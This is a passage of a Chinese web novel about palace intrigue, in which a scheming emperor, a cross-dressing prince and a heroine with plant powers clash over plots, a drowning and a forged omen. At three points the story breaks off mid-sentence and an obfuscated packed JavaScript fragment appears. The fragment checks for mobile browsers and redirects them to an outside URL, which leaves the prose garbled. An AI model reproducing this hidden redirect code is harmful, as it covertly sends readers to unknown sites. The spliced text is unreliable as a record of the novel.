宫人甲负责将加了料的汤泼向李玄璋,一是诱发他体内的蛊毒,让他在后面失去行动力,二是借此带他去换衣裳。 宫人乙负责将探花郎带去李玄璋换衣裳的房间,并事先在房内点燃催-情-香。 如此一来,房间内蛊毒发作的李玄璋动弹不得,而探花郎则会在催-情-香的作用下“冒犯”李玄璋,从而发现他其实是一个男子,而非女子! 宫人丙则负责将众人引到房间去。 三个人的任务都是单独执行的,彼此都不知道别人的部分,这样也是为了减小泄密的风险。 然而任务是环环相扣的,当其中一环出现差错,整个计划也就失败了。 墨春一番审问,这才知道,计划在宫人甲那里就出了纰漏,因为德妃的插手,她根本就没将李玄璋引到点了催-情-香的房间里去! 李淳气得额头青筋蹦了蹦,随手抄起旁边的一个东西砸进了湖里。 却不料那东西是一罐子鱼食,那些胖成猪的锦鲤立刻就游了过来,纷纷抢食,吃得别提多欢了。 见状,李淳直接给气笑了。 因为这些只顾着吃食的锦鲤让他想到了德妃,德妃和这些胖成猪的锦鲤一样,都是金玉其外败絮其中! 这一次的计划,也是因为她的横插一脚,才会功亏一篑! 原本,他能够在众人面前揭露李玄璋男扮女装一事,治他一个欺君之罪,顺理成章地将他斩首。 结果到头来,他这个皇帝反倒成了笑话! “蠢货!她没能按照计划将李玄璋带去那间屋子,为何没有及时禀报?若她及时禀报上来,朕也不会像个傻子一样继续去执行一个注定失败的计划!” 墨春:“她说她原本是要来告诉奴婢的,却被人从背后捂住嘴强行带走了,那人还审问了她一番。” 李淳:“她都说出来了?” 墨春跪了下来,“皇上,您要怪就怪奴婢吧,这次是奴婢办事不力,考虑不周,奴婢甘愿受罚。” 李淳俯身钳住他的下巴,迫使他抬起头来,“墨春,你别以为朕舍不得动你。” 墨春闻言,既欣喜又哀伤,垂下眸子:“奴婢不敢,但凭皇上处置。” 李淳:“那三个宫人你去处理了,至于你,朕再给你一个将功赎罪的机会。去把丽嫔给朕叫来。” * 探花郎在房间里自闭了一阵,实在没有脸回宴席,满怀心事地走到了一段偏僻无人的河边。 河堤两岸绿草如茵,烟柳如画,实在美不胜收,若是之前,他少不得诗兴大发,即兴赋诗一首。 然而此刻,他却有种跳入河中一死了之一了百了的念头。 死吧,死了就不用面对别人异样的嘲讽眼神了,家族也不会因自己而蒙羞了。 他越想,赴死的念头就越强烈。 然而即便是死,也该体体面面的。 探花郎将外袍和鞋袜一一脱去,对着家乡的方向磕了三个头,爹、娘,儿对不住你们,你们的恩情,儿只有来世才能报答了。 他走到河边,“噗通!” 嗯?他还没有跳进水里,怎么就响起了落水声? 转头一看,不远处,一名女子正在水中扑腾着,“救,救命……” 有人落水了! 他立刻跳进了水里,却不是为了自杀,而是为了救人。 待将人救上来,他一看,不禁大惊失色,落水之人怎么会是蓁蓁公主? “崔适,你在做什么!”一道厉喝传来,犹如雷霆在脑海中炸响。 探花郎看去,只见皇上带着一群人快步而来,脸色阴沉难看。 仿佛先前那难堪的一幕再现,探花郎惊吓羞愧之下,竟是晕了过去。 带着人赶过来的李淳:“……” 当探花郎醒过来时,就见皇帝坐在床边,他吓得赶紧爬起来,磕头谢罪:“皇上,微臣该死!求您赐死微臣吧!” 李淳:“崔适,朕为何要赐死你?你不顾自身安危跳入河中救了蓁蓁,立了大功,朕要重重地赏你。” 没等探花郎说话,李淳就道:“你与蓁蓁乃是命定的缘分,且救命之恩当以身相许,朕便将蓁蓁许配给你,如何? “以后,你可要好好待朕的妹妹,不然,朕绝饶不了你。” 能娶到心上人,探花郎自然万分欣喜,可他怎么觉得皇上有点强塞的意思呢? 他跳下水将蓁蓁公主从水里救上来,此举难免对公主的声誉有损,但公主乃是金枝玉叶,根本不愁嫁,皇上为何这么迫切地想让自己娶公主? 李淳:“怎么,探花郎莫非是嫌弃蓁蓁心智不全,不愿娶她?” 这话探花郎哪里敢应? 忙拜伏下去:“谢皇上隆恩!能娶到蓁蓁公主,是微臣三生有幸,请皇上放心,微臣定会将公主看得比微臣的命还要重要,绝不让她受一丝委屈。” 当探花郎回到殿内时,众人丝毫没有提及先前他在房内的难堪之事,反而纷纷上前恭贺他得了皇帝赐婚,即将尚公主,当驸马。 “人生三大喜事——他乡遇故知,金榜题名时,洞房花烛夜,探花郎今日就占了两个,当真是双喜临门哪。” “不知我等何时能喝到探花郎的喜酒?” “蓁蓁公主乃是金枝玉叶,又生得仙姿玉貌,探花郎好福气啊。” …… 姜念虞和李玄璋回到宴会上时,就听说了“探花郎英雄救美,皇帝玉成好事,为两人赐婚”一事。 还有不少人来向李玄璋贺喜。 姜念虞:“?” 不是,小说里也没这一出啊。 小说里,没有她的插手,李玄璋被宫人带去点了催-情-香的房间,后面因蛊毒发作动弹不得,这个时候探花郎被引了过来。 不过李玄璋让身边的影卫将探花郎打晕了,服下遏制蛊毒的药物后,重新好端端出现在了宴会上。 而现实中却是—— 她因为中了催-情-香,一时脑子迷糊,没能想起李玄璋身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114713|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上带了药,情急之下给他喂了自己的血! 她的血中蕴含着丰沛的木系异能,可以说是这世间最有效的万能药。 李玄璋喝了她的血后,也感受到了好处,立刻运转功法化解体内的蛊毒。 这个花了不少时间,以至于她们在休息室里待了半天。 因此李玄璋没能及时出现,阴谋没有得逞的李淳,紧跟着又设计了另一出诡计。 不过那个落水的蓁蓁公主又是谁? 想到擅长易容被李淳收编的丽嫔,姜念虞转头朝斜后方看去。 丽嫔还是穿的原先那套衣裳,但头发明显重新梳过,发间的簪子位置变了,而且头发有种未干的润泽感。 丽嫔被她看得有些不自在,“岁岁,怎么了?” 姜念虞:“我瞧你桌上的虾一只也没动,是不喜欢吃吗?” 丽嫔松了口气,原来她看的是虾。 “倒不是不喜欢,而是吃不得,我一吃虾身上就容易起疹子,痒得很,岁岁,我这一盘子还没动过,你要不介意的话,不如我剥了给你吃罢。” 姜念虞哪里会介意,她巴不得呢,“好啊。” “岁岁,虾剥好了。”丽嫔将一盘子剥得干干净净的虾递过来。 姜念虞忙接过来,“谢谢你啊袅袅。” 她拿起一只虾,蘸醋吃了,跟李玄璋耳语:“接下来你打算怎么办?不会真要嫁人吧?” 男扮女装的大反派一身红嫁衣嫁给另一个男人,想想还蛮刺激的呢。 李玄璋一眼看穿了她的心思:“姐姐很希望我嫁人?” 姜念虞嚼着虾,口齿不清道:“怎么会呢,我就是问问而已,问问。” 李玄璋:“姐姐别吃了,方才我已经让人将纸笺送去给李淳了,接下来该轮到你上场了。” 姜念虞嗦了嗦手指,不甚情愿地离了席。 中大殿内,看着底下被众人簇拥在一起接受祝贺的探花郎,李淳给自己倒了杯酒,一饮而尽。 一个小太监悄悄进殿,塞给了墨春一个小匣子,“这是蓁蓁公主让奴婢交给皇上的。” 墨春先打开匣子检查了下,发现里面只有一张折叠起来的纸笺,并没有什么危险,于是呈给了皇帝。 “皇上,这是蓁蓁公主让下面的人送来给您的。” 李淳接过来,拿起纸笺打开一看,瞳孔瞬间缩至针尖大小。 纸笺上赫然写着一句话—— 还记得被拴在大庆殿前柱子上的那条狗吗? 李淳狠狠攥紧了纸笺,恨不得让它消失。 前世,他就是被当成狗,拴在大庆殿前的柱子上的! 李玄璋让人给他送来这句话,难道,他也重生了? 这是他对自己的反击?宣战?报复? “他在哪儿!”李淳低吼了一声。 墨春吓了一跳,皇上怎么反应这么大?那张纸笺上到底写了什么? “您,您说的是谁?” 李淳一字一句咬牙切齿:“蓁、蓁、公、主。” 墨春:“奴婢这就去打探一下。” 很快他回来了,禀报道:“皇上,公主在枕碧阁。” 李淳笑着向群臣交代了一声:“朕去去就来,诸公只管尽兴。” 大臣们表示理解,皇帝也是人,喝了这许多酒,总是要如厕的嘛。 李淳带了墨春和一干侍卫太监,气势汹汹地杀到了枕碧阁。 28. 第28章 枕碧阁坐落在昆明池畔。 池水清且碧,倒映着岸边的垂柳,波光粼粼。 水上有鸭子悠闲地游过。 河对岸游人如织,一派热闹安乐的景象。 走进楼阁内,李淳看见李玄璋坐在临水的平台上钓鱼,旁边还搁着一根空竿。 “皇兄来啦,来陪蓁蓁钓鱼可好?” 李玄璋转过身来,冲李淳露出明媚可爱的笑容,怀里的娃娃也跟着裂开了嘴,一张血色的大嘴像是要择人而噬。 李淳骇了一跳,再看时,那只娃娃并未张嘴,一动不动地靠在李玄璋怀里,两只黑漆漆没有眼白的眼睛静静盯着他。 这娃娃真邪性,就跟李玄璋这个阴毒的杂种一样! 他一定是在故意恐吓他,李玄璋就会这些上不得台面的把戏。 他以为他会上当吗? 不,他是天子,是大齐皇帝,他有真龙护体,祖宗保佑,他怕什么! “好啊。”他倒要看看,这个杂种想干什么。 李淳走过去坐下,拿起空竿,挂上鱼饵,将鱼线甩入水中。 静候鱼儿上钩。 “这纸上的话是何意?”李淳将袖中的纸笺甩向旁边的人。 李玄璋接过来,用一种孩童学语般的天真语气,将纸笺上的话念了出来:“还记得被拴在大庆殿前柱子上的那条狗吗?” 李淳脸皮抽搐了两下,死死盯着他,恨不得将他碎尸万段。 李玄璋像是没察觉到他目光中的恶意,疑惑地问:“皇兄,大庆殿前养了狗吗?蓁蓁怎么从来没见过啊。” 李淳霍然起身,冲他怒吼:“李玄璋!你还在这里给我装傻!这张纸不是你让人给我送去的吗?” 李玄璋害怕地瑟缩了下,抱紧了怀里的娃娃,表情像是快要哭了,“皇兄,你在说什么啊,蓁蓁听不懂。” 墨春都忍不住心生怜惜了,上前劝道:“皇上,这其中或许有什么误会……” 蓁蓁公主小时候发烧烧伤了脑子,病好后留下了后遗症,智力堪比五岁孩童,皇宫上下都知道这事。 那张纸笺,很可能是有人假借蓁蓁公主的名义送来的,皇上却怎么一个劲儿地冲蓁蓁公主发火呢? 然而他这句话却是彻底点燃了导火索,李淳脑子里那根名为理智的弦,一下子绷断了,他一把将墨春推开,上前揪住李玄璋的衣领,将他狠狠推进水里。 “去死吧!” 什么隐忍,什么计划,统统都不重要了!他就是要李玄璋死! 然而他不知道的是,李玄璋的目的,就是为了激怒他,让他做出不理智的事来。 被推下去的那一刻,李玄璋冲他露出了一抹笑容,三分讥讽、三分得意,还有四分居高临下的冷漠。 李淳被这个笑容激得浑身一寒,如坠冰窖,然后下一刻,他也真的下坠了。 ——李玄璋勾住了他的衣袖,将他一块儿带入了水里。 噗通! 水面被溅起了高高的水花。 墨春大惊:“皇上落水了!快,救皇上上来!” 一群侍卫太监下饺子似的跳进了水里,纷纷朝李淳游去。 至于同样落水的蓁蓁公主,那得排在皇上之后。 然而没人理会的蓁蓁公主始终在水面上扑腾着,而众人齐齐前往拯救的李淳,却是像大石般沉沉落入了水中,半晌都没有浮上来。 众人找了半天也没有找到。 此刻,湖底。 李淳被无数根水草缠缚得紧紧的,像一个人形粽子,这些水草,正是出自姜念虞之手。 她站在李淳面前,脚下踩着一张由水草交织而成的座椅,水草温柔地勾住她的脚踝,让她能够在水下稳定身形。 她的发丝飞扬,裙裾浮动,一张雪莲般清艳的脸在水中显得空灵又妖冶,仿佛一只修成人形的水妖。 姜念虞手中催生出一根水草,朝李淳的脸狠狠抽了过去。 害晟儿落水生病,抽两下! 给我下-药,利用我,再抽两下! 耽误我享用美食,抽四下! 李淳此时已经陷入了昏迷的边缘,忽然一阵疼痛来袭,他迷迷糊糊睁开眼睛,恍惚看见一个女人在抽自己耳光。 他还以为自己遇见了水底的女鬼,吓得肝胆俱裂。 拼命挣扎起来。 然而他越挣扎,胸腔里的空气就越少,身上的力气也流失了,四肢无力地垂落下来。 姜念虞看着李淳往水底沉去,忽然想,干脆就让他死了算了。 他死了,她的危机不就解除了?以后不就可以安心地吃吃喝喝了? 然而这个念头才起,头顶就传来一道轰隆巨响,一道雷电直直劈了下来。 水是导电的,姜念虞在水里,被雷劈得是浑身抽搐,一条命去了大半。 麻蛋!贼老天!凭什么劈我! 晕过去前,姜念虞朝着天空狠狠竖起了中指,在心里破口大骂。 李玄璋才刚爬到岸上,背后就传来“轰隆”一声巨响,他蓦地转头,被雷电炸开的水花浇了满头满脸。 这道雷来得好生蹊跷! 姜念虞还在水里,她不会被雷劈死了吧? 中大殿内,当外面原本晴朗的天空忽然阴云密布,天际炸开一声雷霆巨响,殿内众人俱都一惊,纷纷出来看情况。 “刚不是还晴空万里吗?怎的忽然打雷了?” “你们瞧,有道雷劈下来了,好像就落在了园子里!” “皇上怎么去了这么半天还没回来?不会是出了什么事吧?” 就在众人疑惑担忧时,一个太监着急忙慌地跑过来,大喊着:“不好了,皇上落水了!” 众人匆匆赶到枕碧阁。 发现皇上已经救上来了,除了脸上有些肿胀外,并无其它外伤,众人顿时大松一口气,悬着的心放了下来。 李淳醒了过来,惊恐地挥舞着四肢,“别过来!走开!” 墨春极力安抚他:“皇上,您怎么了?是我啊,墨春,别怕,没事了,没事了啊。” 李淳渐渐冷静了下来,然而想到湖底的那道身影,还是全身发寒,那到底是人,还是鬼? 没等他想明白,一个侍卫端着一个木盆走了进来,盆中有一只乌龟。 “皇上,方才天上突然劈下来一道雷,水里的许多鱼儿都被劈死了,浮了上来,其中有一只乌龟,背上竟然有字,还请皇上过目。” 一众大臣闻言都好奇地看了过来。 “这龟背上竟然有字?当真是奇了。” “似乎是上古篆字,不知写的什么?” “裴公,您学富五车,通古博今,可能辨认出上面的字?” 裴公,当朝太傅,历经三朝的元老,教过先帝,也教过皇帝,即便是李淳在他面前也不敢放肆。 状元郎裴少清,与他乃是同宗,得称其一声“叔公”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139031|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴太傅已经年逾七十,但身形依然板正,精神矍铄,眼明心亮,向来有泰山崩于前而面不改色的气度。 然而这会儿,他不过往那龟背上看了一眼,便神色遽变。 众人观他神色,不由得有了不好的预感。 李淳更是心里咯噔一下,他故作镇定道:“裴公,这龟背上写的到底是什么?” 裴太傅缓缓道:“妖孽化形,窃居紫薇,为祸四方,天下分崩!” 紫薇,乃是帝星,代指帝位,这话分明是说,有个妖孽化为人形,窃居了帝位,日后会为祸四方,致使天下分崩离析,百姓民不聊生! 满室皆惊。 一片短暂而可怕的沉寂后,众人纷纷跪了下去,伏在地上,大气也不敢出。 尤其联想到先前那道突如其来的雷霆,他们更是不寒而栗。 据侍卫们说,那道雷霆是直直冲着昆明池来的,而当时,皇上就恰好掉进了水里。 他们不禁猜测,难道上天降下这道雷,就是冲着皇上来的?当时皇上在水里露出了原形,所以引来了雷霆? 李淳揪着身下的床单,手背上的青筋根根突出,原来如此!李玄璋真正的目的,原来在这里! 他想给自己安上一个妖孽的罪名! 李玄璋这一招,真是狠哪。 看着跪在面前的大臣们,他张了张嘴,想解释,却又无从解释起。 这种把戏,也就能骗骗那些愚民了,但这天下偏偏就是由无数个愚民组成的。 这会儿龟背上的十六字谶语说不定已经被李玄璋派人给传开了,百姓们听风就是雨,很可能就信了! 她们才不管这谶语是不是真的,只会当做一件奇事争先恐后地传开。 他这个皇帝,一下子就成了妖孽! 他还没办法自证清白,因为这种事,只会越描越黑,他越是禁止,越是解释,流言就会传得越凶。 若他为了遏制流言而杀人,恐怕更会被人视为妖孽。 李淳盯着盆中的乌龟,目光如火,恨不得将这只乌龟给灼烧成灰。 蓦地,他目光射向姜赦,“姜相,此事你怎么看?” 姜赦:“皇上,臣年轻时游历各地,曾见到一个道人在幼龟背上刻字,旁边还有不少已经长大了的乌龟,它们背上都有刻字,诸如‘阖家安康’、‘平安喜乐’等等。 “臣问他为何要在龟背上刻字,他说拿来卖,人们相信这些字是天然生成的,觉得这是祥瑞,愿意花大价钱将背上有字的乌龟买回家当吉祥物。 “既然那个道人能在龟背上刻字,焉知这只乌龟背上的字,不是人为呢? “这十六字谶语,意思很明显,而这,恰恰就是幕后之人的目的,想让臣民误会皇上是妖孽,从而引起朝堂震荡,坏我大齐国本。 “臣猜测,此事很可能是北周所为,北周这是想乱我大齐民心,我等万不可上当。” 姜赦这话一出,不少大臣都跟着附议。 “没错,这定是北周使的阴谋诡计!” “就算乌龟背上长了字,又怎么会恰好被雷劈死然后浮上来呢?这件事太过巧合了,定是有人在装神弄鬼。” “北周狼子野心昭然若揭!” …… 李淳很满意大臣们的识相,心情也没一开始那么焦躁了,“姜相,朕命你三日内查出真相,还朕一个清白,也给朝中大臣和百姓们一个交代。” 姜赦:“臣遵旨。” 29. 第29章 没等姜赦查出真相,各地就怪事频发,灾祸不断。 京郊一个村子里闯进了一条双头巨蟒,所过之处粮食倒伏,鸡犬不存,还有好几个村民被巨蟒给吞吃了。 又有一座镇子井中忽然冒出来一股血水,血水中有黑色的发丝,一张惨白的脸若隐若现,凡是吃过那口井水的人,都得了一种怪病,上吐下泻,脸上还生出了人面疮,像是脸上又长出了一张脸来,瘆人得很。 又有长平县,夜里突然地龙翻身,城中十余万人,一夜之间死伤大半…… 坏消息频繁而连续地传入京中,皇帝是妖孽转世的流言传得愈发凶了,就连原先对这个流言嗤之以鼻的大臣们,这会儿也不禁产生了怀疑。 若说那巨蟒、井中血水还有可能是人为的,那么长平县发生地震呢?这可不是人力能控制的。 而且长平县以往从未发生过地震,怎么如今却发生了呢? “妖孽化形,窃居紫薇,祸乱四方,天下分崩”这十六字谶语,不约而同在众人心中响起。 紧跟着,长平县的县令朱有为冒死进京,送来了一幅万民血书,巨大的横幅上,写着八个大字——诛杀妖孽,天下太平! 在这八个大字周围,分布着密密麻麻的血色指印和签名。 那血淋淋的印记,实在触目惊心。 当朱有为在朝堂上拿出这幅血书时,在场的一众大臣俱都心头一震。 台阶龙椅上的李淳,则愤怒到了极点,满身的杀气如有实质,恨不得将朱有为碎尸万段。 现场的气氛一时降到了冰点,谁也不敢说话。 就在这时,一声“太后驾到”从殿外传来,打破了这死寂得令人发悚的氛围。 李淳坐在龙椅上,冷冷注视着进殿的太后,没有像以往那样扮演孝子。 这次的事件,李玄璋有最大的嫌疑,但太后肯定也在其中推波助澜了,不然龟背流言不可能传得那么快。 迟早有一天,他要送李玄璋、太后、姜赦这些人下地狱!他要用最酷烈最痛苦的方式“报答”她们今日送给他的这份大礼! “参见太后娘娘,太后娘娘千岁。”众臣向太后行礼。 太后:“诸公平身。” 李淳:“后宫不得干政,母后怎么来了?” 太后今日拄了一根金丝楠木凤首拐杖,闻言她将拐杖往地上重重一杵,直视着上面的皇帝,“后宫的确不得干政,但前提是,皇帝是我大齐的皇帝,而非不知从哪里来的妖孽!” 李淳:“放肆!太后难道也和那些愚民一样,信了那等无稽之谈?” 太后冷哼一声,“无稽之谈?那这幅血书是什么?从未有过地龙翻身记载的长平县,忽然遭遇了这等祸事,这难道不是妖孽作祟吗?” 侍立在李淳身旁的墨春出声道:“太后娘娘,地龙翻身乃是天灾,怎么能怪到皇上头上呢?” 他横扫了大殿一圈,“如果皇上真是妖孽的话,那太后和百官如何能好好地站在这里,指责皇上?” 太后:“好一个墨春大总管,当真是伶牙俐齿,不愧是皇上亲手调教出来的人。” 这话说得阴阳怪气,明显是意有所指。 李淳假意斥责了一声:“墨春,这里哪有你说话的份?退下,回头自己去领二十鞭子。” 嘴上这么说,心里却是感到一阵温暖和慰藉,他的春儿,总是会站在他这一边,维护他,支持他,全心全意地为他好。 不像德妃,只会气他,骂他,伤害他…… 等等,他怎么会想到德妃?那个女人哪里有资格和春儿相提并论! 李淳甩了甩头,将脑子里不该出现的一些东西甩出去,“那太后意欲何为?” 太后环视了诸位大臣一眼,缓缓开口:“姜相,裴公,杨尚书……” 她一连点了好几位重臣,“我是个妇道人家,不懂得治国之道,但却明白一个道理,民为贵,君为轻,这天下,并非是我李氏一家之天下,而是百姓之天下。 “百姓安,天下才能安,你们说是不是?” 姜赦等人俱都躬身赞同:“太后娘娘所言极是。” 太后接着道:“如今民间关于皇上是妖孽转世的流言甚嚣尘上,若只是传些流言倒也罢了,过阵子总会消弭的,但偏偏各地还接连起了祸事,长平县更是发生了千年罕见的地震,一夜之间数万百姓丧生!” 太后语气十分沉痛,“如此一来,流言就不只是流言了,百姓已经认定皇帝是妖孽,她们所遭受的灾祸都是皇上带来的,民心不稳,天下也跟着动荡,再这样下去,我怕南楚、北周各国趁虚而入,侵扰边境,到那时,大齐,危矣!” 这番话,如同一记警钟,在大臣们心中回响,他们都感到不安起来,议论纷纷。 “是啊,再这样下去,边境很可能会起兵祸,好不容易维持的太平,就要被打破了。” “太后娘娘说得对,这天下并非一家之天下,而是百姓之天下,如今民间人心惶惶,咱们得尽快做些什么,否则等人心彻底乱了,再想挽回可就晚了。” …… 太后:“此刻已到了我大齐危急存亡之际,诸公只管畅所欲言。” 有一大臣出列:“微臣以为,皇上可下一道罪己诏,安抚民心。” 李淳死死抓着龙椅扶手,胸中的怒火犹如火山一般喷薄欲出,如果可以,他真想下去一脚将这个狗奴才踢死! 听听他说的什么话?下罪己诏? 明明这一切都不是他的错,他为什么要下罪己诏? “噗!”李淳一口血吐了出来。 墨春大惊:“皇上!”忙冲过去扶住他,眸中盛满了担忧。 李淳靠在他怀里,感到了一股奇异的安全感,顺势晕了过去。 墨春:“皇上被气晕过去了!快来人,将皇上送回寝宫。” 一群侍卫内侍都聚拢到李淳身边,忙活起来。 太后冷眼旁观。 底下的大臣面面相觑。 待李淳被抬走后,太后拄着拐杖走上了台阶,转过身来,居高临下看着众臣。 “既然皇帝不愿下罪己诏,那就举办一场问天大典,让皇帝当着万千臣民的面,叩问上天,他是不是妖孽,让上天来给出答案。” 李淳本来是装晕的,结果真的晕过去了。 醒来后得知问天大典一事,差点又吐了血。 墨春忙给他顺背,“皇上,您要保重龙体啊,您乃真龙天子,在问天大典上,定能通过上天的考验,到那时,之前所有不利于您的流言蜚语,都会被逆转过来的,百姓们都会明白自己受到了愚弄和欺骗,从而对您更加愧疚忠诚。” 李淳有被这番话安慰到,旋即想到,正所谓祸兮福所倚,或许,这是一个他扭转形象的大好时机—— 从昏君,到圣君,他缺的只是一个好名声。 李玄璋和太后那些人想要将他打成妖孽,拉下皇位,那么定然会在问天大典上动手脚,让他无法通过上天的考验。 那他就将计就计,到时打她们一个措手不及,顺势收割一波民心! 未央宫。 姜念虞在院子里荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13159987|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋千,林鹤站在背后推她。 两天前的琼林宴上,她在水里想杀了李淳时,却被从天而降的一道雷给劈得半死不活,晕了过去。 幸好她身具异能,先前又和李玄璋接触了不少时间,存储下了不少异能,关键时刻异能源种护住了她的心脉,保住了她一条命。 李玄璋将她从水里打捞上来,又一路抱到床榻上,期间她和他贴贴了不少时间,异能因此大涨,自动滋养着她的身体,她的伤势及时得到了治愈。 只是她伤得太重,足足昏睡了两天,直到今天上午才醒过来。 刚醒来时,她比刚穿过来那会儿还要虚,这一次遭雷劈,着实让她元气大伤了。 她赶紧将林鹤叫了过来,抓着他的手吸了半晌,才勉强恢复了一丝元气。 又吃了不少清淡滋补的食物,填饱了肚子。 要彻底养好伤,还得继续吸异能血包才行。 姜念虞靠坐在床上想了会儿,想出来一个绝佳的主意。 她来到院子里,让石永竹给她做一个秋千出来,然后她坐到秋千上,让林鹤推自己。 他每推一下,她不就和他贴贴了一下吗? 异能也能上涨一些。 她闭上眼睛,将异能源种里的异能引导出来,在经脉之中运转。 如果说她原先的经脉是一条条宽敞平滑的高速公路,异能在上面运转得异常丝滑,那么被雷劈过后,她的经脉就变得坑坑洼洼了,有的地方还断裂了,甚至有雷电之力渗入了经脉,不断造成破坏。 她的异能运转不仅变得异常艰难,而且还给她带来了巨大的痛苦。 就像是赤脚走在布满荆棘的道路上一样。 姜念虞心里骂骂咧咧,贼老天,这么护着你狗儿子,老娘有朝一日非得灭了他不可! 然而她面上却是平静异常,没有露出丝毫端倪。 和末世时的种种痛苦比起来,经脉之痛又算得了什么? 起码在这里她有吃不完的美食。 姜念虞从荷包里摸出来一颗果脯塞进嘴里。 “吨~” 一只黑猫从屋顶上跳到了墙上,又从墙上跳到了地上,落地时发出了一声动静。 姜念虞朝它伸手:“咪咪你来了?快到我这里来。” 正是李玄璋的那只玄猫,叫月奴,不过她还是喜欢叫咪咪。 玄猫顶着一张拽拽的酷哥脸,尾巴却翘得高高的朝她小跑过来。 等它到了近前,姜念虞叉起它两只前腿,将它抱到腿上,一顿亲亲摸摸挼挼。 “我们咪咪好厉害呀,这么快就长出毛毛来了。” 玄猫:“喵嗷~” 姜念虞:“还痛不痛呀?来,摸摸,摸摸就不痛了哦。” 玄猫:“喵呜~” 姜念虞一边摸一边将体内仅剩的一点异能输给了它。 玄猫舒服得躺在了她腿上,朝她露出了柔软的肚皮,喉咙里发出低低的呼噜声。 “春樱,拿羊奶、牛肉还有蛋黄来。” 一听到好吃的,玄猫就立马站了起来,又“吨”的一声从她腿上跳了下去。 直奔它的食盆。 姜念虞笑骂:“小坏蛋,有了好吃的就忘记我了。” 从秋千上下来。 林鹤默默来到她身边扶着她。 姜念虞本来还没想到这种吸收异能的方式,但是他都扶过来了,她自然不会拒绝,将自己当成一个虚弱的病人,搭着他的胳膊走路。 谁懂啊,走路都能涨异能,这日子不要太快乐! 30. 第30章 李晟下学回来,看见姨母醒了,高兴地跑了过来,抱着她的腿眼泪婆娑的,“姨母……” 姜念虞最怕小孩子哭了,忙往他张开的嘴里塞了颗杏仁糖:“你看那儿,咪咪来了,快去和它玩儿吧。” 见到猫咪,李晟就忘记哭了,愉快地和猫咪玩了起来,不一会儿就开心地笑了起来,笑得咯咯咯的,跟小鸡似的。 姜念虞松了口气。 在廊下的软塌上躺了下来,让林鹤给自己捏肩。 “春樱,我娘之前说要给我带宫外的吃食,还有种子,结果我在琼林宴上昏倒了,后来我娘有没有将东西交给你啊?” 春樱:“夫人将东西交给我了,都给您收好了。” 姜念虞:“快拿来我看看。” 夏桃原本领着小宫女在晾晒被褥衣物,闻言拿着鸡毛掸子走过来,一派掌教嬷嬷的架势。 “娘娘,您才刚吃了两碗粥、一碗面条、一碟点心、两碟小菜并若干小食,这会儿怎么又惦记起吃的来了?” 姜念虞心虚道:“我就是看看嘛,又没打算吃。” 夏桃:“这话您自己相信吗?” 过来将她的荷包也收走了,苦口婆心道:“您现在还在养伤,不宜吃太多,不然脾胃会受不住的。” 姜念虞:该怎么解释她运转异能也消耗巨大呢? 她不是自己一个人在吃,还有识海里的异能,它才是真正的吃货! 但她也知道夏桃是一片好心,不好再坚持,就道:“那春樱你就只把我娘给我收集的种子拿来我看下吧。” 春樱进去拿了一个小箱子出来,打开来,里头放着一个个小瓷瓶,各种种子分门别类地装着,上面还贴了标签。 姜夫人真是太贴心了! 姜念虞一一拿出来看了看摸了摸,发现里面除了花果蔬菜的种子外,还有不少药材的种子。 人参、牛蒡子、无患子…… 是哦,她还可以种一些药材,用异能催生出来的药材药效会更好,就算她自己用不着,但姜相、姜夫人、晟儿她们总会有用上的时候。 她可以提前种上,以备不时之需。 另外,药材不仅可以拿来救人,也可以用来杀人,她可以备一些毒药在身上,万一她异能耗尽了呢? 毒药也是一种防身手段。 只是有毒的药材不能种在自己宫里,万一被晟儿误食就糟糕了。 还有可能被有心之人利用,说她在宫里种毒药材,以此来攻讦她。 想到冷宫里荒着的那大片院子,她有了主意。 晚饭后,姜念虞借着去还猫,揣上药材种子,只带了林鹤一个人,去了冷宫。 冷宫一如既往的荒僻寂寥,与皇宫格格不入,大门上了锁,门上的两个兽首铜环锈迹斑斑,上面用铁链缠绕了好几道。 不过门之间依然留了些罅隙,猫咪能够轻松钻进去。 姜念虞就不行了。 她先将猫放下,对林鹤说:“带我进去。” 林鹤:“娘娘,冒犯了。” 伸手扣住她一只肩膀,飞身一跃,就越过了一丈来高的宫墙,带着她平稳落地。 姜念虞都还没咂摸出腾空的感觉,这短暂的飞跃就结束了。 她觉得不过瘾,又让林鹤带着她来回飞了几次,像是在玩人形跃墙机。 “这是轻功吗?能不能教教我?” 话出口,姜念虞觉得这个主意太棒了,不仅可以跟着林鹤学轻功,还能趁着学习的机会跟他接触,提升异能。 就是不知道他愿不愿意。 林鹤:“是,可以。” 姜念虞拍了拍他的肩膀,“谢啦。你就在这里等我吧,我一个人去后面找蓁蓁就行了。” 她抱起蹲在一边等她的玄猫,去了后院。 